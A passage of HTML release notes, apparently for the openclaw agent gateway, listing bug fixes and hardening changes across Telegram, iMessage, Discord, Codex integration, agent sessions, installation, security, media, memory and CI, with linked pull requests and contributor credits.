<p>Telegram/network: treat <code>ENETDOWN</code> as a transient pre-connect network failure so Telegram sends, gateway unhandled-rejection handling, and cron network retries follow the same recovery path as sibling network outages. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521478619" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86762" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86762/hovercard" href="https://github.com/openclaw/openclaw/pull/86762">#86762</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</p>
</li>
<li>
<p>Telegram: preserve inbound text entities, overlapping DM replies, account topic cache sidecars, outbound reply context, targeted bot-command mentions, durable group retry targets, forum topic names, and native progress callbacks. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473919972" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83873" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83873/hovercard" href="https://github.com/openclaw/openclaw/pull/83873">#83873</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4502811207" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85361" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85361/hovercard" href="https://github.com/openclaw/openclaw/pull/85361">#85361</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506247444" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85555" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85555/hovercard" href="https://github.com/openclaw/openclaw/pull/85555">#85555</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507163567" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85656" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85656/hovercard" href="https://github.com/openclaw/openclaw/pull/85656">#85656</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508034086" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85709" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85709/hovercard" href="https://github.com/openclaw/openclaw/pull/85709">#85709</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513918910" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86299" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86299/hovercard" href="https://github.com/openclaw/openclaw/pull/86299">#86299</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518070126" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86553" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86553/hovercard" href="https://github.com/openclaw/openclaw/pull/86553">#86553</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
<p>iMessage: read image attachments from local Messages attachment roots, dedupe duplicate local Messages-source accounts, seed direct DM history, fix image/group media attachment commands, advance catchup cursors after live handling, and keep slash-command acknowledgements in the source conversation. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4460513299" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82642" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82642/hovercard" href="https://github.com/openclaw/openclaw/pull/82642">#82642</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504709372" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85475" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85475/hovercard" href="https://github.com/openclaw/openclaw/pull/85475">#85475</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518328054" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86569" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86569/hovercard" href="https://github.com/openclaw/openclaw/pull/86569">#86569</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520556743" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86705" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86705/hovercard" href="https://github.com/openclaw/openclaw/pull/86705">#86705</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520562136" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86706" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86706/hovercard" href="https://github.com/openclaw/openclaw/pull/86706">#86706</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521775849" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86770" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86770/hovercard" href="https://github.com/openclaw/openclaw/pull/86770">#86770</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/homer-byte/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/homer-byte">@homer-byte</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/swang430/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/swang430">@swang430</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/omarshahine/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/omarshahine">@omarshahine</a>.</p>
</li>
<li>
<p>WhatsApp/QQ/Twitch/IRC/Slack: restore WhatsApp ack identity and group-drop warnings, make QQ Bot media respect <code>OPENCLAW_HOME</code>, serialize Twitch auth disconnects, store IRC channel routes canonically, and keep Slack downloaded files out of reply media. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473618299" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83833" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83833/hovercard" href="https://github.com/openclaw/openclaw/pull/83833">#83833</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4501915785" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85309" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85309/hovercard" href="https://github.com/openclaw/openclaw/pull/85309">#85309</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508902915" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85777" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85777/hovercard" href="https://github.com/openclaw/openclaw/pull/85777">#85777</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509181286" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85794" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85794/hovercard" href="https://github.com/openclaw/openclaw/pull/85794">#85794</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510338183" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85906" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85906/hovercard" href="https://github.com/openclaw/openclaw/pull/85906">#85906</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514166403" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86318" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86318/hovercard" href="https://github.com/openclaw/openclaw/pull/86318">#86318</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520463860" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86697" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86697/hovercard" href="https://github.com/openclaw/openclaw/pull/86697">#86697</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sliverp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sliverp">@sliverp</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kailigithub/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kailigithub">@Kailigithub</a>.</p>
</li>
<li>
<p>Discord/voice: improve voice playback and wake replies, bucket large model picker menus, merge media captions into one message, route metadata through configured proxies, restore numeric channel sends, suppress self-reply echoes, and tighten wake matching without breaking fuzzy wake phrases. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415391667" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80227" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80227/hovercard" href="https://github.com/openclaw/openclaw/issues/80227">#80227</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513382967" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86238" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86238/hovercard" href="https://github.com/openclaw/openclaw/pull/86238">#86238</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517016511" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86487" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86487/hovercard" href="https://github.com/openclaw/openclaw/pull/86487">#86487</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518354506" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86571" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86571/hovercard" href="https://github.com/openclaw/openclaw/pull/86571">#86571</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518728147" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86595" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86595/hovercard" href="https://github.com/openclaw/openclaw/pull/86595">#86595</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518852311" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86601" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86601/hovercard" href="https://github.com/openclaw/openclaw/pull/86601">#86601</a>)</p>
</li>
<li>
<p>Codex: preserve native web-search metadata, keep oversized native thread reuse, bridge CLI API-key auth into the app server, preserve sandbox bootstrap path style, recover context-window prompt errors, honor yolo approval policy, disable native thread personality, and route compaction through Codex auth. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4503098560" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85378" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85378/hovercard" href="https://github.com/openclaw/openclaw/pull/85378">#85378</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506087008" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85542" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85542/hovercard" href="https://github.com/openclaw/openclaw/pull/85542">#85542</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510132239" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85891" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85891/hovercard" href="https://github.com/openclaw/openclaw/pull/85891">#85891</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510371309" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85909" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85909/hovercard" href="https://github.com/openclaw/openclaw/pull/85909">#85909</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515716562" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86408" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86408/hovercard" href="https://github.com/openclaw/openclaw/pull/86408">#86408</a>)</p>
</li>
<li>
<p>Agents/runtime: enforce session lock max-hold reclaim, release embedded-attempt locks on all exits, treat aborted subagent runs as terminal, avoid runtime model hydration on hot paths, disclose scoped session list counts, derive overflow budgets from provider errors, and keep fallback errors scoped to the active model candidate. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4313476027" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70473" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70473/hovercard" href="https://github.com/openclaw/openclaw/pull/70473">#70473</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508768461" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85764" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85764/hovercard" href="https://github.com/openclaw/openclaw/pull/85764">#85764</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511256935" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86014" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86014/hovercard" href="https://github.com/openclaw/openclaw/issues/86014">#86014</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512330133" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86134" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86134/hovercard" href="https://github.com/openclaw/openclaw/pull/86134">#86134</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515962032" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86427" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86427/hovercard" href="https://github.com/openclaw/openclaw/pull/86427">#86427</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4525235363" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86944" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86944/hovercard" href="https://github.com/openclaw/openclaw/pull/86944">#86944</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Config/update/doctor: retry config recovery after failed backup restore, skip shell env fallback on Windows, exclude prerelease tags from the stable git channel, support deep config edits, warn instead of aborting on unreadable cron stores, prune stale bundled plugin paths, and avoid duplicate restart prompts when the Gateway is already healthy. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508546495" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85739" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85739/hovercard" href="https://github.com/openclaw/openclaw/pull/85739">#85739</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509027061" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85787" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85787/hovercard" href="https://github.com/openclaw/openclaw/pull/85787">#85787</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511769726" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86060" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86060/hovercard" href="https://github.com/openclaw/openclaw/pull/86060">#86060</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513592243" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86260" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86260/hovercard" href="https://github.com/openclaw/openclaw/pull/86260">#86260</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515361802" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86384" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86384/hovercard" href="https://github.com/openclaw/openclaw/pull/86384">#86384</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517880193" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86533" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86533/hovercard" href="https://github.com/openclaw/openclaw/pull/86533">#86533</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liaoyl830/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liaoyl830">@liaoyl830</a>.</p>
</li>
<li>
<p>Install/release: support Alpine CLI installs and runtime floors, avoid npm <code>min-release-age</code> installer failures, bound npm/package/Docker install phases, restore config parent ownership in Docker, seed Docker lockfile package tarballs before prune, and make release/plugin prerelease checks fail closed instead of hanging or false-greening. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505205830" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85491" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85491/hovercard" href="https://github.com/openclaw/openclaw/pull/85491">#85491</a>)</p>
</li>
<li>
<p>Security: avoid printing Gateway tokens in Docker, validate plugin model-pattern regexes safely, escape transcript metadata field names, harden session allowlist glob matching, audit Claude permission overrides under YOLO, and require explicit allow for ACP auto approvals. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509772199" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85849" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85849/hovercard" href="https://github.com/openclaw/openclaw/pull/85849">#85849</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510569360" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85934" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85934/hovercard" href="https://github.com/openclaw/openclaw/pull/85934">#85934</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511654235" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86046" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86046/hovercard" href="https://github.com/openclaw/openclaw/pull/86046">#86046</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518138669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86557" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86557/hovercard" href="https://github.com/openclaw/openclaw/pull/86557">#86557</a>)</p>
</li>
<li>
<p>Media/images: replace Sharp with Rastermill, keep EXIF normalization best-effort, normalize HEIC/HEIF before image descriptions, route Codex image API keys through OpenAI, preserve image compression metadata, and auto-scale live tool result caps. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508895502" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85776" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85776/hovercard" href="https://github.com/openclaw/openclaw/pull/85776">#85776</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511517298" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86037" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86037/hovercard" href="https://github.com/openclaw/openclaw/pull/86037">#86037</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4516124165" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86437" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86437/hovercard" href="https://github.com/openclaw/openclaw/pull/86437">#86437</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4523450985" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86857" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86857/hovercard" href="https://github.com/openclaw/openclaw/pull/86857">#86857</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4524700097" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86923" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86923/hovercard" href="https://github.com/openclaw/openclaw/pull/86923">#86923</a>)</p>
</li>
<li>
<p>Memory: prevent semantic vector indexes from silently degrading when embeddings are unavailable, stop doctor OOMs on large session stores, preserve sidecar hooks/artifacts, write fallback dream diaries, use CJK-aware dreaming dedupe, and avoid per-file watcher FD fan-out. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4419718885" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80613" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80613/hovercard" href="https://github.com/openclaw/openclaw/issues/80613">#80613</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462409079" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82928" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82928/hovercard" href="https://github.com/openclaw/openclaw/issues/82928">#82928</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496988085" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85060" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85060/hovercard" href="https://github.com/openclaw/openclaw/pull/85060">#85060</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507908481" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85704" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85704/hovercard" href="https://github.com/openclaw/openclaw/pull/85704">#85704</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510790288" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85967" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85967/hovercard" href="https://github.com/openclaw/openclaw/pull/85967">#85967</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520541942" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86701" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86701/hovercard" href="https://github.com/openclaw/openclaw/pull/86701">#86701</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yaaboo-gif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yaaboo-gif">@yaaboo-gif</a>.</p>
</li>
<li>
<p>Agents/sessions: include visibility metadata on restricted <code>sessions_list</code> results so scoped counts are clearly reported without widening access or exposing hidden-session counts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4525235363" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86944" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86944/hovercard" href="https://github.com/openclaw/openclaw/pull/86944">#86944</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Gateway/DNS: validate wide-area discovery domains before deriving zone paths or writing zone files, so invalid <code>discovery.wideArea.domain</code> and <code>dns setup --domain</code> values fail with a DNS-name diagnostic instead of falling through to unrelated configuration errors. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mmaps/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mmaps">@mmaps</a>.</p>
</li>
<li>
<p>Agents/BTW: route fallback side-question streams through the embedded stream resolver so Anthropic-compatible MiniMax requests use the same capped transport as normal chat. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514047622" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86312" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86312/hovercard" href="https://github.com/openclaw/openclaw/pull/86312">#86312</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
<p>Telegram: treat <code>/command@TargetBot</code> bot-command entities as explicit mentions for the addressed bot so <code>requireMention</code> groups no longer drop targeted commands or captions. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4483658268" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84462" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84462/hovercard" href="https://github.com/openclaw/openclaw/issues/84462">#84462</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518070126" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86553" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86553/hovercard" href="https://github.com/openclaw/openclaw/pull/86553">#86553</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>.</p>
</li>
<li>
<p>CI: bound Docker/Bash E2E tarball npm installs with <code>OPENCLAW_E2E_NPM_INSTALL_TIMEOUT</code> so package, onboarding, plugin, and upgrade lanes fail instead of hanging on a stuck npm install.</p>
</li>
<li>
<p>CI: keep <code>OPENCLAW_TESTBOX=1 pnpm check:changed</code> delegating to Blacksmith Testbox through Crabbox without forwarding local Testbox or worker env into the remote command.</p>
</li>
<li>
<p>CI: send KILL after the TERM grace period for manual checkout fetch timeouts so stuck Testbox and workflow checkout retries cannot hang behind a wedged <code>git fetch</code>.</p>
</li>
<li>
<p>CI: send KILL after the TERM grace period for Bun global install smoke command timeouts so trapped <code>openclaw</code> child processes cannot wedge the scheduled install smoke.</p>
</li>
<li>
<p>iMessage: thread current channel/account inbound attachment roots into the image tool so iMessage-saved attachments under <code>~/Library/Messages/Attachments</code> (including the wildcard <code>/Users/*/Library/Messages/Attachments</code> root) are read through the existing inbound path policy instead of being rejected as <code>path-not-allowed</code>. Literal <code>localRoots</code> stays workspace-scoped. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4005822500" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/30170" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/30170/hovercard" href="https://github.com/openclaw/openclaw/issues/30170">#30170</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518328054" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86569" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86569/hovercard" href="https://github.com/openclaw/openclaw/pull/86569">#86569</a>)</p>
</li>
<li>
